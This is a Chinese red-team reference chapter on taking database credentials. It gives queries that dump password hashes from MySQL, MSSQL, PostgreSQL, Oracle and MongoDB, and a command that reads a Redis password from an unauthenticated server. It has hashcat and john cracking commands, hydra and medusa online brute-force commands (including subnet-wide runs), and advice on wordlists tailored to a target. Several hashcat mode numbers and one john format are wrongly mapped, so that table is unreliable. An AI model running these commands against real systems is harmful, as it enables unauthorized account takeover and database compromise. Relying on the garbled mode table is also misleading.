08-口令破解与哈希提取

汇总各数据库的哈希格式、提取方法与破解命令。哈希提取是 02章07章 各利用路径的收尾动作,也是横向移动的凭据来源。

目录


一、各数据库哈希格式大表

数据库版本哈希算法格式示例/特征
MySQL4.0 及以下MYSQL32316 位十六进制
MySQL4.1+SHA1(SHA1(pass)) 双段*A8F5D2C6...(41 位,星号前缀)
MSSQL2000SHA1 + 补齐大写0x0100 开头 40 字节
MSSQL2005SHA1(UTF-16LE)0x0100 开头 20 字节哈希段
MSSQL2008+SHA1 + 盐0x0100<盐><哈希>
Oracle10g 及以下DES 密钥法USER:HASH(16 位)
Oracle11gDES(旧) + SHA1(盐) 双段S:xxxx;H:xxxxhash:spare4 中 S: 段
Oracle12c+PBKDF2-SHA512S:<PBKDF2段>;T:<类型>
PostgreSQL全系(md5 认证)md5(password + username)md5 前缀 + 32 位 hex
PostgreSQL10+(SCRAM)SCRAM-SHA-256SCRAM-SHA-256$4096:salt$...
MongoDB全系SCRAM-SHA-1 / SCRAM-SHA-256存 salt/storedKey/serverKey 三元组

具体模式号以本机 hashcat --example-hashes | grep -i mysql 输出为准,不同 hashcat 版本编号有增补。


二、哈希提取方法

2.1 各库查询语句

-- MySQL(需 mysql.user 读权限)
SELECT user, host, authentication_string FROM mysql.user;
-- MySQL 5.6 及以下字段名为 password
SELECT user, host, password FROM mysql.user;
 
-- MSSQL
SELECT name, password_hash FROM sys.sql_logins;
 
-- PostgreSQL(pg_shadow 需超管)
SELECT usename, passwd FROM pg_shadow;

2.2 MongoDB 与 Redis

// MongoDB:SCRAM 凭据在 admin 库
use admin;
db.system.users.find({}, {user:1, credentials:1});
// 输出中 salt/storedKey/serverKey 即可离线构造破解输入

Redis 无用户表,口令即配置文件中的明文 requirepass

redis-cli -h <target> CONFIG GET requirepass   # 未授权时直接读出
grep -E '^(requirepass|masterauth)' /etc/redis/redis.conf   # 拿到主机后

Oracle 提取需 DBA:

SELECT name, spare4 FROM sys.user$;    -- spare4 含 S: 段(11g SHA1)

三、hashcat mode对照表

常用模式速查(hashcat --example-hashes 实际输出为准):

-m 模式算法示例命令
-m 300MySQL 4.1+(SHA1 双段)hashcat -m 300 hash.txt rockyou.txt
-m 200MySQL 323(老版本)同上换模式
-m 131MSSQL 2000hashcat -m 131 hash.txt rockyou.txt
-m 132MSSQL 2005同上
-m 1730MSSQL 2012/2014(SHA512)大写 hex 输入
-m 1711MSSQL 2012 + salt(带盐变体)hash:salt 格式
-m 112Oracle 11g(S: 段 SHA1)user:hash 格式
-m 12300Oracle 12c(PBKDF2/HMAC-SHA256)性能极慢,字典要小
-m 18000PostgreSQL SCRAM-SHA-256hashcat -m 18000 scram.txt rockyou.txt
-m 12PostgreSQL md5(pass+user)hash:user 格式
-m 1411MongoDB SCRAM-SHA-1user:hash:salt 组合格式

通用参数:

# 规则变形提升命中率
hashcat -m 300 -a 0 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# 掩码攻击(已知前缀场景)
hashcat -m 300 -a 3 hash.txt 'root?a?a?a?a'

四、john用法

# 自动识别格式
john hash.txt --wordlist=rockyou.txt
 
# 显式指定各库格式
john --format=mysql-sha1 hash.txt
john --format=mscash2 hash.txt          # MSSQL 相关族
john --list=formats | grep -iE 'mysql|mssql|ora|postgres'
 
# 显示已破解结果
john --show hash.txt

五、hydra在线爆破各库命令集

在线爆破适用于未拿到哈希的场景(外网打点主流手法):

# MySQL
hydra -l root -P pass.txt <target> mysql
hydra -L users.txt -P pass.txt -s 3306 <target> mysql -t 8
 
# MSSQL
hydra -l sa -P pass.txt -s 1433 <target> mssql -t 8
 
# PostgreSQL
hydra -l postgres -P pass.txt -s 5432 <target> postgres
 
# MongoDB
hydra -l admin -P pass.txt -s 27017 <target> mongodb
 
# Redis(模块 redis,验证 requirepass)
hydra -P pass.txt redis://<target>:6379
 
# Oracle(listener 层面)
hydra -L users.txt -P pass.txt <target> oracle-listener

实用参数:-t 并发线程(数据库服务对连接风暴敏感,建议 ≤10)、-f 找到一个即停、-V 显示尝试过程。


六、medusa

# 语法统一:-h 主机 -u 用户 -P 口令字典 -M 模块
medusa -h <target> -u root -P pass.txt -M mysql
medusa -h <target> -u sa -P pass.txt -M mssql
medusa -h <target> -u postgres -P pass.txt -M postgres
medusa -h <target> -U users.txt -P pass.txt -M mongodb -t 5
 
# 批量网段扫描(配合 -H 主机列表)
medusa -H hosts.txt -u root -P pass.txt -M mysql -t 16

medusa 与 hydra 模块覆盖互补;MongoDB/Oracle 场景 medusa 失败时优先改用原生客户端脚本或 odat(见 04章)。


七、口令策略弱点分析

红队生成字典前先评估目标的口令习惯,命中效率远高于盲跑 rockyou:

弱点表现字典构造建议
账户名即口令root/root、sa/sa、postgres/postgres第一轮:用户名自复制
数字序列123456、1234567890top1000 通用表
服务名变体mysql123、redis@123、oracle2023用户名+年份/符号组合规则
公司名相关域名缩写+123从信息收集阶段抓公司名做规则变换
多服务复用Web 后台口令 = 数据库口令已破出的任何口令全量复测其他端口

流程建议:第一轮弱口令表(<100 条)快速过 → 第二轮规则化字典 → 第三轮才上大字典。命中后立即记录并测试所有已发现服务的口令复用。

7.1 哈希格式识别与预处理

拿到一串哈希先判断格式再选模式:

特征判断
* 开头 + 40 位 hexMySQL 4.1+,hashcat -m 300
16 位 hex 无前缀MySQL323 或 Oracle 10g(结合来源判断)
0x0100 开头MSSQL 家族,按长度分版本
md5 前缀 + 32 hexPostgreSQL md5 认证
S: 开头分号分隔Oracle 11g spare4
SCRAM-SHA-256$PG/Mongo SCRAM
# hashcat 自带示例库辅助确认模式号
hashcat --example-hashes -m 300
hashcat --example-hashes | grep -iE 'postgres|mssql|oracle'

7.2 注意事项

  • MSSQL 哈希需转大写 hex 输入;带盐格式写成 hash:salt
  • Oracle 12c 的 PBKDF2 模式速度极慢,优先破 11g 遗留的 S: 段。
  • MongoDB SCRAM 不能直接还原明文,需构造客户端挑战离线验证字典(工具支持有限,实战更常用在线爆破)。

返回 数据库安全 总目录